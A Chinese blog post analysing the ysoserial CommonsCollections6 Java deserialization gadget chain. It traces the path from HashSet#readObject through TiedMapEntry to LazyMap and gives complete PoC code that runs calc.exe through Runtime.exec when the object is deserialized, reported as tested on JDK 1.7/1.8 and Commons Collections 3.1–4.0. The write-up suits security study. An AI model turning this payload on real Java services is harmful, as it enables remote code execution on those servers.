CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法。

TiedMapEntry#hashCode

在CC5中,通过的是TiedMapEntry的toString调用到的LazyMap的get方法,而CC6则是通过TiedMapEntry的hashCode方法

此处hashCode会调用getValue方法,getValue就调用到了LazyMap的get方法

接下来我们要找的就是哪里调用了TiedMapEntry#hashCode

HashMap#put

HashMap每次进行put的时候,会计算 keyhash

进入到hash方法,看到调用了hashcode

hashSet#readObject

hashSet作为反序列化入口,在重写的readObject中调用了map.put

此处的map是在readObject中第299-301行进行的赋值

这个代码其实判断this是不是LinkedHashSet,不是的话就返回HashMap类型的对象

综合以上,map值为HashMap即可调用put

构造poc

前面的写法都一样,lazyMap传入了TiedMapEntry中

        Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");

通过hashSet.add把mapEntry加入进hashSet

HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry);

到这里就已经构造完了,但是会发现poc在执行反序列化的时候无法弹出计算器,原因是在LazyMap的get方法中

这句话的意思是判断有没有key,有key的话则不会执行if里面的方法。

查找key传入路径发现,这里的key是在TiedMapEntry#getValue中传入的

而这个key则是在构造方法中进行的赋值

也就是之前操作时候,传入的"xxx"

由于在hashSet.add的时候,会调用一遍TiedMapEntry#getValue把key传入了进去

所以我们只需要在add之后,把lazyMap里面的key给remove就可以了

整个POC就构造出来了

public class payload01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx"); HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry); lazyMap.remove("xxx"); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close(); // System.out.println(barr);
// System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

和CC5一样,如果要在CommonsCollections4.0版本中使用的话,需要把poc中的lazymap传值方式改变下就行了!

测试环境在JDK1.7和1.8,CommonsCollections3.1-3.21,4.0均测试成功

ysoserial CommonsColletions6分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  4. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  5. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  6. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  7. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. MySQL-11-存储引擎

    存储引擎简单介绍 存储引擎:相当于Linux文件系统,只不过比文件系统强大 功能 数据读写 数据安全和一致性 提高性能 热备份 自动故障恢复 高可用方面支持 存储引擎种类 InnoDB MyISAM ...

  2. MySQL——分表,分库操作

    说明 大数据量并且访问频繁的表,将其分为若干个表.如果不分的话,进行一次查询就会将表锁住,导致不能进行其他操作,故分表.表分割垂直分割应用场景:热数据放一个表里,冷数据放一个表里.冷数据使用MyIsa ...

  3. Spring详解------概述

    1.什么是 Spring ? Spring是一个开源框架,Spring是于2003 年兴起的一个轻量级的Java 开发框架,由Rod Johnson 在其著作Expert One-On-One J2E ...

  4. 不同的 count 用法

    不同的 count 用法效率:在 select count(?) from t 这样的查询语句里面, count(*).count(主键 id).count(字段) 和 count(1) 等不同用法的 ...

  5. 【CSS简介、基础选择器、字体属性、文本属性、引入方式】前端小抄(2) - Pink老师自学笔记

    [CSS简介.基础选择器.字体属性.文本属性.引入方式]前端小抄(2) 本学习笔记是个人对 Pink 老师课程的总结归纳,转载请注明出处! 一.CSS简介 CSS 的主要使用场景就是布局网页,美化页面 ...

  6. Playwright-python 教程

    安装 pip install playwright -i https://mirrors.aliyun.com/pypi/simple/ 使用阿里源,下载速度快一点. python -m playwr ...

  7. 高德地图——searchNearBy()

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <script ty ...

  8. linux系统下查看svn服务是否启动,重启及设置开机重启

    Linux系统中svn服务是否启动,重启及设置开机启动   安装完svn服务器后虽然好用但是因为经常重启Linux服务器,每次重启完就要去手动启动svn服务器,很是麻烦,于是在网上找了一些方法后,自己 ...

  9. springboot系列总结(二)---springboot的常用注解

    上一篇文章我们简单讲了一下@SpringBootApplication这个注解,申明让spring boot自动给程序进行必要的配置,他是一个组合注解,包含了@ComponentScan.@Confi ...

  10. python 实用技巧:几十行代码将照片转换成素描图、随后打包成可执行文件(源码分享)

    效果展示 原始效果图 素描效果图 相关依赖包 # 超美观的打印库 from pprint import pprint # 图像处理库 from PIL import Image # 科学计算库 imp ...